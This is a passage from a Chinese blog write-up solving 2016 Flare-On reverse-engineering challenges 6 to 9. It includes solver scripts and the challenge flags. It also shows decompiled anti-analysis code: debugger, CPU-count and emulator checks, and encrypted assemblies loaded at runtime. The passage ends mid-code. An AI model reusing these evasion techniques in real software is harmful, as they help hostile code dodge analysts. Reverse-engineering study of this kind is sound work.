568 views
# 2016 Flare-On Challenge ( Part-2 ) >Author: Lays > http://blog.l4ys.tw/ - [Part1](https://hackmd.io/s/HyOUlP9gg) ( 1 - 5 ) - [Part2](https://hackmd.io/s/B1Pr8gAlg) ( 6 - 10 ) ## Challenge 6: khaki.exe py2exe 產生的執行檔,是個猜數字遊戲 先用 `unpy2exe.py` 取出 `pyc` 但後來試了幾個工具將 pyc 反編譯回 python code 都失敗 最後直接用 `dis` 看 `bytecode`,肉眼轉回 source code: ```python #!/usr/bin/env python import dis, marshal with open("./poc.py.pyc", "rb") as f: magic_and_timestamp = f.read(8) # first 8 bytes are metadata code = marshal.load(f) # rest is a marshalled code object dis.dis(code) ``` bytecode 中有許多像是 ``` LOAD_CONST -1 POP_TOP ``` ``` ROT_TWO ROT_TWO ``` ``` ROT_THREE ROT_THREE ROT_THREE ``` 大概就是造成工具失效的原因 還原的 src: ```python #!/usr/bin/env python # -*- coding: utf-8 -*- import sys import random __version__ = "Flare-On ultra python obfuscater 2000" target = random.randint(1, 101) count = 1 error_input = '' while True: print '(Guesses: %d) Pick a number between 1 and 100:' % count input = sys.stdin.readline() try: input = int(input) except: error_input = input print 'Invalid input: %s' % error_input continue if input == target: break if input < target: print 'Too low, try again' else: print 'Too high, try again' count += 1 if input == target: win_msg = 'Wahoo, you guessed it with %d guesses\n' % count sys.stdout.write(win_msg) if count == 1: print 'Status: super guesser %d' % count sys.exit(1) if count > 25: print 'Status: took too long %d' % count sys.exit(1) else: print 'Status: %d guesses' % count if error_input != '': tmp = ''.join(chr(ord(c) ^ 66) for c in error_input).encode('hex') if tmp != '312a232f272e27313162322e372548': # shameless plug sys.exit(0) stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171] import hashlib stuffer = hashlib.md5(win_msg + tmp).digest() for x in range(len(stuffs)): print chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) ), ``` 看完 code 後發現輸入 `shameless plug` 之後,再猜中數字,程式就會用猜的總次數跟字串做 md5 hash 當成 xor key 解密出 Flag 直接取出關鍵部分程式碼,用窮舉的方式得到符合條件的次數以及 Flag: ```python #!/usr/bin/env python count = 0 while True out = "" win_msg = 'Wahoo, you guessed it with %d guesses\n' % count tmp = '312a232f272e27313162322e372548' #shameless plug stuffs = [67,139,119,165,232,86,207,61,79,67,45,58,230,190,181,74,65,148,71,243,246,67,142,60,61,92,58,115,240,226,171] stuffer = hashlib.md5(win_msg + tmp).digest() for x in range(len(stuffs)): out += chr( stuffs[x] ^ ord(stuffer[x % len(stuffer)] ) ) if "flare-on" in out: print count, out break ``` Flag: `1mp0rt3d_pygu3ss3r@flare-on.com` > 解完後 Lucas 表示其實 fireeye 有出工具可以解這類的混淆 pyc... > https://www.fireeye.com/blog/threat-research/2016/05/deobfuscating_python.html --- ## Challenge 7: hashes golang 的 ELF 執行檔,剛開始分析的時候因為分不清楚 go 的 runtime code 跟實際的程式內容,浪費了一些時間 ### 分析技巧 在許多函數的開頭會有這樣的 code,應該是 go 的 `runtime_morestack`,會造成 hexrays decompiler 跳過函數主體: ``` .text:08049B60 stc .text:08049B61 lea esi, [esi+0] .text:08049B67 jb short loc_8049BAF ... .text:08049BAF loc_8049BAF: ; CODE XREF: sub_8049B60+7j .text:08049BAF push 8 .text:08049BB1 push 1Ch .text:08049BB3 call sub_804A810 .text:08049BB8 retn ``` 解決方式是直接 nop 掉這些 code 或是從修改函數範圍從 `jb` 之後開始 go 的字串結構大概是 ```c struct GO_STRING { char *buf; int len; }; ``` 可以透過 IDA Pro 的 `Local Type` 幫助定位字串 buffer ### 程式行為: 1. `0x8049F6D` 檢查 `argv[1]` 只包含 ` abcdefghijklmnopqrstuvwxyz@-._1234` 2. 將 `argv[1]` 切割為 5 個子字串,每 6 個字元為一組,因此 `argv[1]` 長度應為 30 3. 將 5 個子字串分別進行 3 次的 sha1 hash 4. 以某種方式產生 100 個 index,從 `0x804BB80` 中以 index 取出對應的 100 個 byte,與上一步產生的 sha1(x3) hash 比對 產生 index 的方式大概如下: ```python def gen_idx(start_idx, count=100): x = start_idx for i in count: idx = (x + 461) % 4096 yield idx x = idx; ``` ### 反推 首先我們必須先取得最後用來比對的五組 sha1(x3) hash 做法是跟題目用一樣的方式產生出 100 個 index,並從 `0x804BB80` 取出對應的 byte 程式產生 index 時,決定 `start_idx` 的是第一組 sha1 hash(x3) 的第一個 byte, 我們無法得知第一組 sha1(x3) 的明文,所以無法確定 `start_idx` 但 Flag 的格式結尾固定為 `flare-on.com` 透過算出最後一組子字串 `on.com` 的 sha1(x3) hash, 接著窮舉 `start_idx` 並比對最後產生的 20 個 byte 是否等於 hash 來得到完整的 100 個 index,最後組出五組 sha1(x3) hash: ```python #!/usr/bin/env python import hashlib sha1 = lambda x: hashlib.sha1(x).digest() def sha1x3(s): return sha1(sha1(sha1(s))) def gen_idx(start_idx, count=100): x = start_idx for i in range(count): idx = (x + 461) % 4096 yield idx x = idx with open("./hashes", "rb") as f: f.seek(0x3b80) data = f.read(4096) # find start_idx last_hash = sha1x3("on.com") for start in range(0xff+1): seq = list(gen_idx(start)) hashes = "".join(data[i] for i in seq) if hashes[-20:] == last_hash: print "found start_idx = %d" % start for i in range(5): print hashes[20*i:20*i+20].encode('hex') break ``` 得到 5 組 sha1(x3) hash: ``` 3cab2465e955b78e1dc84ab2aad1773641ef6c29 4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f 9e6061a36250e1c47e69f0312db4e561528a1fb5 06046b721e18e20b841f497e257753b2314b866c cc720842d0884da08e26d9fccb24bc9c27bd254e ``` 最後產生字典來 `brute force` 出明文,最後兩組已知為及 `flare-` `on.com` ```python #!/usr/bin/env python import hashlib from itertools import product sha1 = lambda x: hashlib.sha1(x).digest() def sha1x3(s): return sha1(sha1(sha1(s))) hashes = ["3cab2465e955b78e1dc84ab2aad1773641ef6c29", "4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f", "9e6061a36250e1c47e69f0312db4e561528a1fb5"] charset = "abcdefghijklmnopqrstuvwxyz@-._1234" for plain in product(charset, repeat=6): plain = "".join(plain) hash = sha1x3(plain).encode('hex') if hash in hashes: print plain, hash ``` ``` h4sh3d 3cab2465e955b78e1dc84ab2aad1773641ef6c29 _th3_h 4a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f 4sh3s@ 9e6061a36250e1c47e69f0312db4e561528a1fb5 ``` Flag: `h4sh3d_th3_h4sh3s@flare-on.com` --- ## Challenge 8: CHIMERA.EXE 程式看起來非常簡單,將輸入的字元與 `0x7A` xor 之後要等於特定值: ```c int start() { HANDLE stdin; // ST1C_4@1 int i; // ecx@1 int c; // eax@2 int sum; // [sp+4h] [bp-10h]@1 HANDLE stdout; // [sp+Ch] [bp-8h]@1 DWORD NumberOfBytesWritten; // [sp+10h] [bp-4h]@1 sum = 0; stdin = GetStdHandle(STD_INPUT_HANDLE); stdout = GetStdHandle(STD_OUTPUT_HANDLE); WriteFile(stdout, aThisOneSForThe, 49u, &NumberOfBytesWritten, 0); ReadFile(stdin, input, 50u, &NumberOfBytesWritten, 0); i = 0; while ( 1 ) { c = input[i]; sum += c; if ( ((i + c) ^ 0x7A) != byte_4021D2[i] ) break; if ( ++i >= 26 ) { if ( sum != 2549 ) return WriteFile(stdout, aYouHaveSucceed, 22u, &NumberOfBytesWritten, 0); return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0); } } return WriteFile(stdout, aYouHaveFail_Pl, 38u, &NumberOfBytesWritten, 0); ``` 但反推回去會發現符合條件的字串為 `this is the wrong password`,且無法通過 `sum != 2549` 的條件 ### DOS Stub 仔細觀察過這支程式後會發現有些微妙之處: - 字串結尾都有 `$` 字元 - Dos Stub 的訊息是 `This program cannot not be run in DOS mode` 測試後會發現這隻程式可以同時在 `Windows` 及 `DOS Mode` 下執行,呼應題目名稱: CHIMERA 用 IDA Pro 載入,使用 `MS-DOS executable` 的 Loader 就可以進行分析: ```asm seg000:0000 public start seg000:0000 start: seg000:0000 push cs seg000:0001 pop ds seg000:0002 assume ds:seg000 seg000:0002 mov dx, 11h seg000:0005 mov ah, 9 seg000:0007 int 21h ; DOS - PRINT STRING seg000:0007 ; DS:DX -> string terminated by "$" seg000:0009 jmp loc_107C6 ... ``` ### Unpack 令人意外的是真正執行的代碼是在執行時動態 decode 的: ```asm seg000:07C6 loc_107C6: seg000:07C6 mov cx, 112 ; i = 112 seg000:07C9 loc_107C9: seg000:07C9 mov bx, cx seg000:07CB dec bx seg000:07CC add bx, bx seg000:07CE add word ptr loc_107D4[bx], cx ; 7D4 + 2 * ( i - 1 ) += i seg000:07D2 loop loc_107C9 ; while ( --i ) seg000:07D4 db 0EBh seg000:07D5 db 0FFh seg000:07D6 db 0BEh ... ``` 透過 `IDAPython` ( Shift + F2 in IDA Pro ) 來 decode `+0x7D4` 之後的代碼: ```python for i in range(112, -1, -1): c = Word(0x107D4 + i * 2) PatchWord(0x107D4 + i * 2, c + i + 1) ``` ### Reverse ```asm ... seg000:07D4 in al, dx seg000:07D5 inc ax seg000:07D7 mov ax, 2A00h seg000:07DA int 21h ; DOS - GET CURRENT DATE seg000:07DA ; Return: DL = day, DH = month, CX = year seg000:07DA ; AL = day of the week (0=Sunday, 1=Monday, etc.) seg000:07DC sub cx, 7C6h seg000:07E0 jg loc_108B0 seg000:07E4 mov dx, offset aThisOneSForThe ; "This one's for the geezers.\r\nEnter th"... seg000:07E7 jz short loc_107EC seg000:07E9 short loc_107EC ... ``` 程式會判斷系統時間小於 1990 年,還有使用一些跳轉的簡單混淆來干擾 disassembler patch 程式後,使用 `DosBox` 進行動態分析,將程式邏輯重新以 c 實作,最後直接用 [LazyKLEE](https://github.com/L4ys/LazyKLEE) 求解: ```shell $ LazyKLEE.py ./solve.c === LazyKLEE === [+] Creating container... a0cc1a19a8cdb52fa917df20fcc14f02e29e40031365a64d463dbdca58eb531b [+] Compiling llvm bitcode... [+] Running KLEE... [+] ASSERTION triggered! ktest file : './klee-last/test000001.ktest' args : ['./out.bc'] num objects: 1 object 0: name: b'input' object 0: size: 26 object 0: data: b'retr0_hack1ng@flare-on.com' [+] Removing container... ``` Solution: ```c #include <klee/klee.h> #include <assert.h> unsigned char data[] = {0xFF,0x15,0x74,0x20,0x40,0x00,0x89,0xEC,0x5D,0xC3,0x42,0x46,0xC0,0x63,0x86,0x2A,0xAB,0x08,0xBF,0x8C,0x4C,0x25,0x19,0x31,0x92,0xB0,0xAD,0x14,0xA2,0xB6,0x67,0xDD,0x39,0xD8,0x5F,0x3F,0x7B,0x5C,0xC2,0xB2,0xF6,0x2E,0x75,0x9B,0x61,0x94,0xCF,0xCE,0x6A,0x98,0x50,0xF2,0x5B,0xF0,0x45,0x30,0x0E,0x38,0xEB,0x3B,0x6C,0x66,0x7F,0x24,0x3D,0xDF,0x88,0x97,0xB9,0xB3,0xF1,0xCB,0x83,0x99,0x1A,0x0D,0xEF,0xB1,0x03,0x55,0x9E,0x9A,0x7A,0x10,0xE0,0x36,0xE8,0xD3,0xE4,0x32,0xC1,0x78,0x07,0xB7,0x6B,0xC7,0x70,0xC9,0x2C,0xA0,0x91,0x35,0x6D,0xFE,0x73,0x5E,0xF4,0xA4,0xD9,0xDB,0x43,0x69,0xF5,0x8D,0xEE,0x44,0x7D,0x48,0xB5,0xDC,0x4B,0x02,0xA1,0xE3,0xD2,0xA6,0x21,0x3E,0x2F,0xA3,0xD7,0xBB,0x84,0x5A,0xFB,0x8F,0x12,0x1C,0x41,0x28,0xC5,0x76,0x59,0x9C,0xF7,0x33,0x06,0x27,0x0A,0x0B,0xAF,0x71,0x16,0x4A,0xE9,0x9F,0x4F,0x6F,0xE2,0x0F,0xBE,0x2B,0xE7,0x56,0xD5,0x53,0x79,0x2D,0x64,0x17,0x95,0xA7,0xBD,0x7C,0x1D,0x58,0x93,0xA5,0x65,0xF8,0x18,0x13,0xEA,0xBC,0xE5,0xF3,0x37,0x04,0x96,0xA8,0x1E,0x01,0x29,0x82,0x51,0x3C,0x68,0x1F,0x8E,0xDA,0x8A,0x05,0x22,0x72,0x49,0xFA,0x87,0xA9,0x54,0x62,0xC6,0xAA,0x09,0xB4,0xFD,0xD6,0xD1,0xAC,0x85,0x11,0x47,0x3A,0x9D,0xE6,0x4D,0x1B,0xCC,0x52,0x80,0x23,0xFC,0xED,0x8B,0x7E,0x60,0xCD,0x6E,0x57,0xBA,0xDE,0xAE,0xCA,0xC4,0x77,0x0C,0x4E,0xD4,0xD0,0xC8,0xE1,0xB8,0xF9,0x26,0x90,0x81,0x34}; unsigned char secret[] = {0x38,0xE1,0x4A,0x1B,0x0C,0x1A,0x46,0x46,0x0A,0x96,0x29,0x73,0x73,0xA4,0x69,0x03,0x00,0x1B,0xA8,0xF8,0xB8,0x24,0x16,0xD6,0x09,0xCB}; unsigned char rol(unsigned int val, unsigned char r_bits) { return ((val << r_bits%8) & (256-1)) | (((val & (256-1)) >> (8-(r_bits%8)))); } int main(int argc, char *argv[]) { unsigned char input[26]; klee_make_symbolic(input, 26, "input"); for ( int i = 0; i < 26; ++ i ) { unsigned char idx = i == 0 ? 151:input[26-i]; idx = rol(idx, 3); idx = data[idx]; input[26-i-1] ^= data[idx]; } for ( int i = 0; i < 26; ++ i ) { unsigned char idx = i == 0 ? 0xc5:input[i-1]; input[i] ^= idx; } unsigned int sum = 0; for ( int i = 0; i < 26; ++ i ) sum += input[i] ^ secret[i]; if ( sum == 0 ) klee_assert(0); return 0; } ``` Flag: `retr0_hack1ng@flare-on.com` --- ## Challenge 9: GUI.exe .NET 執行檔,執行後只有一行字 `Combine all 6 shares` 跟一個按鈕,毫無反應,只是個按鈕 `strings ./GUI.exe` 可以得到一組序號 `Share:1-d8effa9e8e19f7a2f17a3b55640b55295b1a327a5d8aebc832eae1a905c48b64` 照題目敘述應該需要收集 6 組 ### Reverse 用 `dnSpy` decompile 後發現程式有被混淆過,而在按鈕事件中觀察到會透過 `Assembly.Load` 及 `Invoke` 來執行 code ```c# private void button1_Click(object sender, EventArgs e) { byte[] buf = Form1.ReadResource(<Module>.\u206F\u202C\u206B\u202E\u200F\u206E\u202E\u206B\u202D\u206D\u200F\u206F\u200F\u200F\u202B\u202C\u200E\u206B\u202C\u202A\u202E\u206D\u206C\u200E\u206C\u206E\u200B\u200F\u206F\u200E\u202A\u206F\u206C\u200B\u206B\u206A\u206B\u202C\u206B\u206E\u202E<string>(282000140u)); byte[] buffer = this.decryptBuffer(buf); byte[] rawAssembly = util.DecompressBuffer(buffer); Assembly assembly = Assembly.Load(rawAssembly); Type type = assembly.GetType(<Module>.\u202C\u200C\u200F\u202E\u202A\u200E\u202A\u206D\u206F\u200D\u206C\u202C\u200C\u206D\u200C\u206D\u206E\u200E\u200C\u202C\u200F\u206C\u206C\u200D\u200E\u206C\u200D\u202D\u206A\u206E\u200D\u202A\u200B\u206D\u206B\u200D\u206A\u206B\u206E\u206F\u202E<string>(370292149u)); MethodInfo method = type.GetMethod(<Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(547307959u)); bool flag = (bool)method.Invoke(null, new object[] { <Module>.\u202A\u202C\u206D\u202C\u202A\u206C\u202C\u202B\u206D\u202B\u200F\u202C\u200B\u200F\u206E\u200D\u200C\u202C\u206B\u200E\u200D\u202E\u206C\u206A\u202C\u200F\u200D\u202A\u206C\u202A\u202D\u200B\u200E\u206F\u202B\u206D\u200F\u206E\u202A\u206E\u202E<string>(292816780u) }); if (flag) { MessageBox.Show(<Module>.\u202D\u202A\u202E\u206C\u202B\u200F\u206B\u202A\u206C\u200D\u200D\u200C\u202B\u206F\u206F\u202C\u206F\u206E\u206D\u206C\u206D\u206F\u206D\u202B\u202C\u200C\u200E\u206B\u200E\u200D\u202C\u206C\u206B\u206E\u200C\u202D\u202E\u200C\u200C\u200C\u202E<string>(3452886671u)); return; } MessageBox.Show(<Module>.\u206B\u206A\u200E\u202B\u200E\u202B\u202C\u200F\u202E\u202D\u202B\u200F\u206E\u202B\u206B\u202B\u202A\u206E\u206C\u202B\u202E\u206F\u202C\u200C\u200E\u206A\u202B\u202E\u202D\u200D\u202C\u206E\u202D\u206B\u206D\u206C\u202B\u202D\u206C\u206A\u202E<string>(458656109u)); } ``` 解這題時,原先是 Dump 出 `Assembly.Load` 載入的 dll ,透過 `de4dot` 反混淆後再用靜態的方式分析,但對於動態混淆的處理效果不好,最後直接用 `dnSpy` 動態分析 >有個小技巧是用 Debugger 跟進 `Invoke` ,中斷在 `InvokeMethodFast` 中的 `_InvokeMethodFast` 的呼叫上,單步執行之後就可以停在新載入的 dll 的入口,`dnSpy` 也會自動從記憶體中載入 dll ### Layer1.dll 跟進 `_InvokeMethodFast` 後停在 `Layer1.dll` 的 `Constructor`: ```c# internal class <Module> { static <Module>() { <Module>.\u206F\u202C\u206C\u200B\u206F\u202D\u206C\u202C\u200F\u200F\u202D\u200E\u202C\u202E\u202A\u206D\u202D\u206F\u206C\u200C\u206A\u202C\u206C\u206E\u200D\u200F\u206E\u206E\u200E\u200F\u202D\u206A\u202C\u200E\u206D\u200C\u206C\u200D\u202E\u206C\u202E(); <Module>.\u206B\u200B\u206C\u200F\u206A\u206E\u202D\u206C\u206F\u200F\u202D\u202B\u206B\u206F\u202A\u200E\u202A\u206B\u206A\u200F\u202C\u202A\u200C\u202A\u202C\u202E\u206F\u200B\u206D\u200E\u202A\u202A\u200E\u202B\u200F\u206F\u202C\u200B\u206A\u200E\u202E(); } ... ``` 先步過第一個初始化函數,接著在 `Layer1.dll` 上按右鍵選取 `Reload All Method Bodies` `Layer1` 真正的代碼就會出現,此時在 `Start` 上下斷點後執行: ```c# public static class Layer1 { public static string getKey() { string[] directories = Directory.GetDirectories(<Module>.\u202C\u202E\u206F\u206F\u202C\u202E\u202A\u206F\u202D\u206B\u206D\u206D\u202C\u202D\u206B\u202A\u200D\u202E\u206B\u206C\u202C\u206C\u206F\u202D\u206A\u202E\u206D\u200C\u202E\u200F\u200D\u206A\u206B\u200C\u206A\u206F\u200C\u202A\u206F\u202A\u202E<string>(385305873u), <Module>.\u202A\u200C\u206D\u200E\u206C\u206F\u202C\u206F\u200B\u206E\u202B\u202C\u206E\u202B\u206B\u202D\u206A\u202B\u202C\u200C\u200B\u206C\u202A\u206B\u202A\u206D\u200E\u200D\u202B\u206A\u202D\u206E\u206C\u200E\u200F\u202B\u202E\u206C\u206D\u202D\u202E<string>(3893211695u), SearchOption.TopDirectoryOnly); for (int i = 0; i < directories.Length; i++) { string text = directories[i]; string text2 = text.Substring(2); MD5 mD = MD5.Create(); byte[] bytes = Encoding.UTF8.GetBytes(text2); byte[] inArray = mD.ComputeHash(bytes); string text3 = Convert.ToBase64String(inArray); if (text3.CompareTo(StringUtils.a1224) == 0) { return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(1448266994u) + text2; } Console.WriteLine(text3); } return <Module>.\u206E\u206B\u200C\u206B\u202B\u202D\u206D\u206A\u202A\u200E\u206E\u206D\u202B\u206F\u202A\u206C\u200C\u200C\u202E\u206A\u202D\u200E\u206D\u202A\u206D\u206B\u202E\u206A\u200E\u202D\u202A\u200E\u202B\u200E\u206E\u200E\u200F\u206C\u202D\u200F\u202E<string>(4084845939u); } [DllImport("kernel32.dll")] private static extern bool IsDebuggerPresent(); public static bool Start(string config) { Config config2 = Config.InitConfig(config); if (config2 == null) { return false; } if (!CPUDetection.CheckCPUCount(config2.CPUCount)) { return false; } if (config2.DebugDetection && Layer1.IsDebuggerPresent()) { return false; } bool result; try { string key = Layer1.getKey(); byte[] bytesToBeDecrypted = util.ReadResource(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2155271801u)); byte[] buffer = util.AES_Decrypt(bytesToBeDecrypted, Encoding.UTF8.GetBytes(key)); byte[] rawAssembly = util.DecompressBuffer(buffer); Assembly assembly = Assembly.Load(rawAssembly); Type type = assembly.GetType(<Module>.\u206A\u202E\u202A\u206C\u200E\u206B\u200E\u200F\u202E\u202E\u206D\u206B\u200B\u202D\u200B\u200C\u200F\u202A\u202D\u206C\u206C\u206D\u206D\u202E\u206A\u200F\u200E\u200D\u206F\u206C\u206F\u206D\u200E\u200C\u200D\u202E\u202D\u200D\u202C\u202E<string>(1983674467u)); MethodInfo method = type.GetMethod(<Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(1619868913u)); bool flag = (bool)method.Invoke(null, new object[] { <Module>.\u202B\u206C\u202C\u200B\u200D\u200C\u206A\u200B\u200E\u202C\u206F\u200B\u200C\u206D\u200F\u206F\u202E\u206B\u202C\u206B\u200F\u200E\u202B\u202D\u206B\u202E\u206C\u206E\u200D\u202C\u206E\u200D\u202D\u206D\u202D\u202E\u200F\u206B\u202E\u206D\u202E<string>(2894386820u) }); result = flag; } catch (Exception) { result = false; } return result; } } ``` 從區域變數視窗可以得到第二組 share: `shareShare:2-f81ae6f5710cb1340f90cd80d9c33107a1469615bf299e6057dea7f4337f67a3` - `Layer1.Start()` 中會檢查 CPU 核心數為 2 - `Layer1.getKey()` 會遍歷當前目錄下所有目錄,檢查是否有目錄名稱 `md5` 後的 `base64`為 `UtYScX3YLz4wCCfrR5ssZQ==`,將該目錄名稱加上 `flare-` 後回傳 google 後得到明文 `sharing:52d6127375d82f3e300827eb479b2c65` 建立一個名為 `sharing` 的目錄或是動態修改區域變數即可 - 最後透過 `Layer1.getKey()` 回傳的 key 透過 AES 解密出下一層的 `dll` 並載入執行 ### Layer2.dll 用跟前一步一樣的方式來到 `Layer2.dll` 的入口,並步過第一個初始化函數後選取 ` Reload All Method Bodies`,在 `Layer2.Start()` 下斷點後執行 `Layer2` 的混淆程度似乎更高: ```c# public class Layer2 { public static string getKey() { string[] subKeyNames = Registry.CurrentUser.GetSubKeyNames(); string result; while (true) { IL_0B: uint arg_15_0 = 4073380080u; while (true) { uint num; switch ((num = (arg_15_0 ^ 3102362556u)) % 14u) { case 0u: { int num2; num2++; arg_15_0 = 2422995106u; continue; } case 1u: { int num2 = 0; arg_15_0 = (num * 2671731663u ^ 225261231u); continue; } case 2u: { string text; arg_15_0 = (((text.CompareTo(StringUtils.a650) == 0) ? 2785585759u : 2681437764u) ^ num * 2156941825u); continue; } case 4u: { string[] array = subKeyNames; arg_15_0 = (num * 125796346u ^ 1945840459u); continue; } case 5u: { MD5 mD; byte[] bytes; byte[] inArray = mD.ComputeHash(bytes); arg_15_0 = (num * 1096390724u ^ 4028304633u); continue; } case 7u: { string text2; result = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2581785547u) + text2; arg_15_0 = (num * 2965273874u ^ 739341603u); continue; } case 8u: { int num2; string[] array; arg_15_0 = ((num2 < array.Length) ? 2196425607u : 4160071843u); continue; } case 9u: goto IL_145; case 10u: arg_15_0 = (num * 3530635147u ^ 2127247940u); continue; case 11u: { byte[] inArray; string text = Convert.ToBase64String(inArray); arg_15_0 = (num * 3877748401u ^ 3299180833u); continue; } case 12u: goto IL_0B; case 13u: { int num2; string[] array; string text2 = array[num2]; Console.WriteLine(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(638765194u) + text2); MD5 mD = MD5.Create(); byte[] bytes = Encoding.UTF8.GetBytes(text2); arg_15_0 = 2162082765u; continue; } } goto Block_1; } } Block_1: return result; IL_145: return <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(228703156u); } public static bool IsVideoCardFromEmulator() { ManagementScope scope = new ManagementScope(<Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(62463277u)); ObjectQuery query = new ObjectQuery(<Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2807314222u)); ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher(scope, query); ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get(); bool result; string[] array2; while (true) { IL_2F: uint arg_39_0 = 4136287803u; while (true) { uint num; switch ((num = (arg_39_0 ^ 2413552312u)) % 10u) { case 1u: { string[] array; array[2] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(3503542146u); arg_39_0 = (num * 1362606596u ^ 4252385414u); continue; } case 2u: { string[] array; array[0] = <Module>.\u202B\u206A\u206B\u206E\u206D\u202B\u202D\u200D\u206D\u206C\u200C\u206F\u200F\u200F\u202A\u200D\u206B\u202D\u200E\u206A\u206B\u200E\u200E\u202B\u206A\u206D\u200C\u206D\u200C\u200D\u200B\u206A\u206A\u200B\u200E\u200D\u202B\u206E\u202D\u200E\u202E<string>(927696220u); array[1] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(1518576413u); arg_39_0 = (num * 507211509u ^ 605477889u); continue; } case 3u: result = false; arg_39_0 = (num * 2165055198u ^ 141583840u); continue; case 4u: { string[] array; array[3] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1951003351u); array[4] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(3348962035u); array[5] = <Module>.\u200B\u206A\u206D\u202D\u206B\u206B\u202E\u200B\u200C\u206F\u202B\u202A\u200D\u200C\u206B\u200D\u206D\u202A\u200E\u200E\u200B\u206F\u200E\u200C\u200D\u206A\u206C\u206D\u206E\u202E\u200E\u200E\u206C\u200D\u200B\u200D\u202C\u202A\u206C\u206A\u202E<string>(1550968058u); arg_39_0 = (num * 297585876u ^ 1374145066u); continue; } case 5u: { string[] array = new string[9]; arg_39_0 = (num * 713891861u ^ 505575431u); continue; } case 6u: goto IL_2F; case 7u: { string[] array; array[8] = <Module>.\u206C\u206F\u200B\u202A\u206D\u200F\u200F\u206A\u202B\u202A\u200B\u200E\u202A\u200F\u206C\u206F\u202C\u200C\u202C\u206D\u202E\u200D\u202C\u200C\u206B\u200F\u202D\u202C\u202C\u206F\u202B\u202C\u200B\u200B\u202D\u202C\u200B\u206F\u200E\u202D\u202E<string>(2500000229u); array2 = array; arg_39_0 = (num * 404629751u ^ 4003272754u); continue; } case 8u: { string[] array; array[6] = 